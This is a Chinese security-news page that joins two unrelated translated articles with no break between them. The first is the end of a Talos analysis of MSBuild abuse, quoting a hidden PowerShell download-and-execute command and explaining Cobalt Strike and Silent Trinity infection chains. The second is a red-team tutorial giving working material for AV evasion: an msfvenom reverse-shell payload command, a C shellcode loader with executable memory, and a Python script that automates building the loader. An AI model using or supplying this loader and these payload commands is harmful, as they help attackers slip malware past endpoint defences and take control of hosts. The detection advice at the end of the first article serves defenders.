C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -w hidden -Command iex(New-Object System.Net.WebClient).DownloadString('hxxp://apb[.]sh/helloworld[.]ps1')

Helloworld.ps1从另一个URLhxxp://apb[.]sh/msbuild[.]xml下载MSBuild配置并启动它。最后,Helloworld.ps1从hxxp://apb[.]sh/per[.]txt下载文件,并将其另存为a.bat到用户的\Start Menu\Programs\Startup\文件夹中。A.bat确保用户注销系统后payload仍然存在。

下载的MSBuild配置文件似乎是由Silent Trinity.NET开发后框架生成的。它将.NET程序集payload存储为使用zlib压缩的文件,然后使用base64编码器进行编码。

Silent Trinity是一个相对较新的框架,原始的Silent Trinity的植入物称为Naga,具有解释以Boolang语言发送的命令的功能。即使数据通过HTTP发送,植入物和C2服务器之间的通信也会被加密。在这种情况下,渗透人员使用的是Naga的较旧版本,该版本不使用Boolang,但会尝试加载IronPython(用于.NET框架的Python实现)。

情况3:加密的COBALT STRIKE信标的URL

我们的最后一个案例研究具有不同的感染链。它从一个网页开始,网页上存放着一家知名服装制造商G-III员工的所谓行为准则文件。该文档是用VB脚本编写的HTML应用程序,它创建一个MSBuild配置文件并运行MSBuild。

VB脚本HTA文件创建配置文件并调用MSBuild。

MSBuild配置文件包含一个内联任务类,该类使用外部URL检索密钥以解密加密的嵌入式payload。密钥存储在hxxp://makeonlineform[.]com/forms/228929[.]txt中。payload是Cobalt Strike Powershell的加载程序,它最终将beacon 加载到内存中。

加载Cobalt Strike beacon后,HTA应用程序将浏览器导航到G-III的实际URL。最后,将生成的MSBuild配置文件从计算机中删除。

我们查看Threat Grid生成的图形中的进程树,会看到MSBuild.exe进程启动PowerShell的潜在可疑事件。

结论

MSBuild是软件工程师构建.NET软件项目的必备工具。但是,也为攻击者提供了方便,并可能提供一种绕过某些Windows安全机制的方法。

最后,我们的研究表明,MSBuild通常不被商品恶意软件使用。观察到的大多数情况都具有利用后开发剂作为最终payload的变体。建议防御者仔细监视进程执行的命令行参数,并特别调查其中MSBuild父进程是Web浏览器或Microsoft Office可执行文件的实例。这种行为是高度可疑的,表明防御已被破坏。设置基准后,可疑的MSBuild调用应易于显示且相对较少,因此不会增加团队的平均工作量。

墙裂建议如果你不开发软件,好好检查MSBuild.exe的每次执行,看看自己是不是肉鸡。

参考来源:talosintelligence,FB小编周大涛编译,转载请注明来自FreeBuf.COM

Shellcode加载器是一种基本的规避技术。尽管shellcode加载器通常可以促进payload的初始执行,但是启发式检测方法仍可以标记payload的其他方面和行为。例如,很多安全产品可能会在内存中时对其进行检测,或者将特定的网络流量检测为恶意。我们将研究一些适合与加载器结合使用的后期开发框架,并研究如何嵌入其他类型的二进制文件(例如.NET和已编译的PE二进制文件)。

博客系列的第一部分将介绍使用Shellcode进行后期开发payload的基本要领。在第二部分中,我们将为加载器实现其他功能,并查看某些功能的一些优点和缺点。因为我们使用shellcode来避免基于签名的检测,所以重要的是限制安全解决方案创建启动程序签名的可能性。二进制混淆是避免基于签名的检测的一种潜在解决方案,我们将编写一个python脚本来自动化加载器的生成和混淆。

Shellcode简介

在攻击中我们需要在目标上执行某些shellcode。诸如Metasploit和Cobalt Strike之类的后期开发框架都有自己的shellcode,但是这些框架中的payload由于被广泛使用而具有很高的检测率。但是,它们提供了一些功能,可以让我们自由发挥。此外,使用易于检测的shellcode将有助于我们确定加载器的回避功能在开发过程中是否正常运行。

Metasploit和Cobalt Strike提供both staged和stageless payload。使用both staged的payload时,shellcode会更小,从而导致启动程序二进制文件更小。然而,与stageless payload相比,both staged的payload被发现的可能更大。这可能是因为来自服务端的网络流量被标记为恶意,或者是因为检测到了攻击者用来执行最终payload的方法。在这片博客中,我们将使用stageless payload进行规避,因为我们不关心在将payload加载到内存之前的检测。有关both staged与stageless payload的更多信息,请查看深入了解无负载计量表的负载 OJ Reeves的博客文章。

上图演示了如何使用msfvenom生成原始shellcode。我们指定payload连接的IP和端口,并将输出保存到文件中。处理大文件时,该head命令只能用于打印第一个字符。在这里,我们使用该-c参数仅输出前100个字符,然后我们可以将其通过管道传递xxd以获得shellcode的十六进制转储。

msfvenom –p windows/meterpreter_reverse_tcp LHOST=IP LPORT=port > stageless_meterpreter.raw
head –c 100 stageless_meterpreter.raw | xxd

TheWover 的Donut项目可用于创建与位置无关的shellcode,该shellcode可以加载.NET,PE和DLL文件。该工具将允许我们通过支持其他payload类型来扩展加载器的可用性。使用Donut,我们可以轻松地为Mimikatz,Safetykatz和Seatbelt等工具生成shellcode。

剖析Shellcode加载器

shellcode加载器是用C编写的,我们将使用Python自动插入shellcode并编译二进制文件。要在Linux上编译Windows可执行文件,我们将使用MinGW编译器。

#include <stdio.h>
#include <windows.h>
using namespace std;
int main()
{
    char shellcode[] = "把shellcode粘贴到这里";
    LPVOID lpAlloc = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpAlloc, shellcode, sizeof shellcode);
    ((void(*)())lpAlloc)();
    return 0;
}

在这里,我们可以看到标准shellcode加载器的源代码。在本博客系列中,我们将为该加载器添加功能。包括四个主要部分。首先,shellcode被定义为char变量,但是当前源代码具有一个占位符字符串,该字符串将在以后自动对其进行修改。然后,我们使用VirtualAlloc为shellcode分配内存。重要的是要注意,此内存页当前具有读取,写入和执行权限。之后,使用memcpy将shellcode移到新分配的内存页面中。最后,执行shellcode。

我们可以使用Msfvenom,Cobalt Strike和Donut生成的shellcode由原始字节组成。因为我们希望将payload嵌入到源文件中;我们必须将shellcode格式化为十六进制表示形式。可以使用手动解决方案hexdump,但是稍后我们将在Python中自动执行此步骤。

该hexdump命令将读取原始的shellcode文件并返回十六进制格式,可以将其嵌入源代码中。在上图中,我们将输出保存到文件中,然后使用该head命令来说明所返回的十六进制格式hexdump。

hexdump -v -e '"\\""x" 1/1 "%02x" ""' raw.bin >> hex_format
head –c 100 hex_format

如果#replace_me#使用十六进制格式的shellcode 替换源文件中的字符串,则可以使用MinGW对其进行编译。

i686-w64-mingw32-c++ shellcode_launcher.cpp -o launcher.exe

自动化

尽管我们可以格式化shellcode并将其手动插入到源文件中,但是我们将编写一个简短的Python脚本来自动执行此过程。Python脚本将需要三个文件操作。它必须读取原始shellcode文件,读取源文件,然后将格式化的源代码写入文件,然后可以将其编译为最终二进制文件。

import binascii
import argparse
import subprocess
import os
def main(p_args):
    # Read source template
    with open("launcher_template.cpp", "r") as input_template:
        source_template = input_template.read()
    # Read input payload
    with open(p_args.input, "rb") as input_shellcode:
        raw_shellcode = input_shellcode.read()
    # Convert raw binary to formatted hex
    hex_data = binascii.hexlify(raw_shellcode).decode()
    hex_file_content = r"\x" + r"\x".join(hex_data[n : n+2] for n in range(0, len(hex_data), 2))
    # Insert the shellcode into the source code
    output_file = source_template.replace("#replace_me#", hex_file_content)
    # Write our formatted source file
    with open("compile_me.cpp", "w") as output_handle:
        output_handle.write(output_file)
    # Specify our compiler arguements
    compiler_args = []
    compiler_args.append("i686-w64-mingw32-c++")
    compiler_args.append("compile_me.cpp")
    compiler_args.append("-o")
    if len(p_args.output) > 0:
            compiler_args.append(p_args.output)
    else:
            compiler_args.append("shellcode_launcher.exe")
    # Compile the formatted source file
    subprocess.run(compiler_args)
    # Delete the formatted source file after it has been compiled
    os.remove("compile_me.cpp")
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Protect your implants')
    parser.add_argument("--input", help="Input file. Raw shellcode", type=str, required=True)
    parser.add_argument("--output", help="Specify file output", type=str, default="")
    args = parser.parse_args()
    main(args)

我们argparse用来确定输入文件。通过使用binascii库;我们可以不使用hexdump命令将原始shellcode转换为十六进制。当前,源模板文件的路径被硬编码到python脚本中,但是可以很容易地对其进行修改,以允许用户使用该argparse库在不同的模板之间进行选择。此外,我们可以自动编译新格式化的源文件,然后在编译完最终二进制文件后将其删除。

使用x32dbg分析加载器

如果我们在调试器中运行可执行文件,我们可以检查如何执行shellcode。

在上图中,我们可以看到将shellcode复制到分配的内存页后会发生什么VirtualAlloc。之后memcpy被调用时,shellcode的地址从堆栈到移动EAX寄存器。

如果我们现在看一下中的值EAX;我们可以找到shellcode所在的地址。

一旦我们有了地址;我们可以使用x32dbg中的“内存映射”标签找到内存页面。如上图所示,包含shellcode的内存页面当前具有读取,写入和执行权限。要注意的另一件事是,我们可以在中看到一个具有与payload相同大小的附加内存页面.rdata。由于shellcode是未加密地嵌入二进制文件中的,因此防御者将能够在不执行启动程序二进制文件的情况下检测到恶意负载。

使用x32dbg,蓝色团队可以查看内存页面中的内容并将其导出到文件中,以便以后进行进一步分析。对蓝色团队成员有用的注释是,即使payload在嵌入发射器二进制文件之前已被加密;通过在调试器中逐步执行,仍可以转储未加密的payload。

如果我们继续逐步执行,我们可以看到call eax执行后,指令指针跳到了shellcode。现在,当我们正常继续执行时,我们会在Cobalt Strike中收到客户端连接。

结论

Msfvenom,Cobalt Strike和Donut使我们能够轻松支持各种不同的payload。但是,在使这些payload绕过端点安全解决方案之前,必须实现其他功能。虽然当前的加载器是基本的,但它是一个很好的基础,以后可以扩展。我们学习了如何格式化原始shellcode,以及如何将源代码编译为可执行二进制文件。另外,我们创建了一个Python脚本,该脚本可以自动完成该过程。

*参考来源:nagarrosecurity,FB小编周大涛编译,转载请注明来自FreeBuf.COM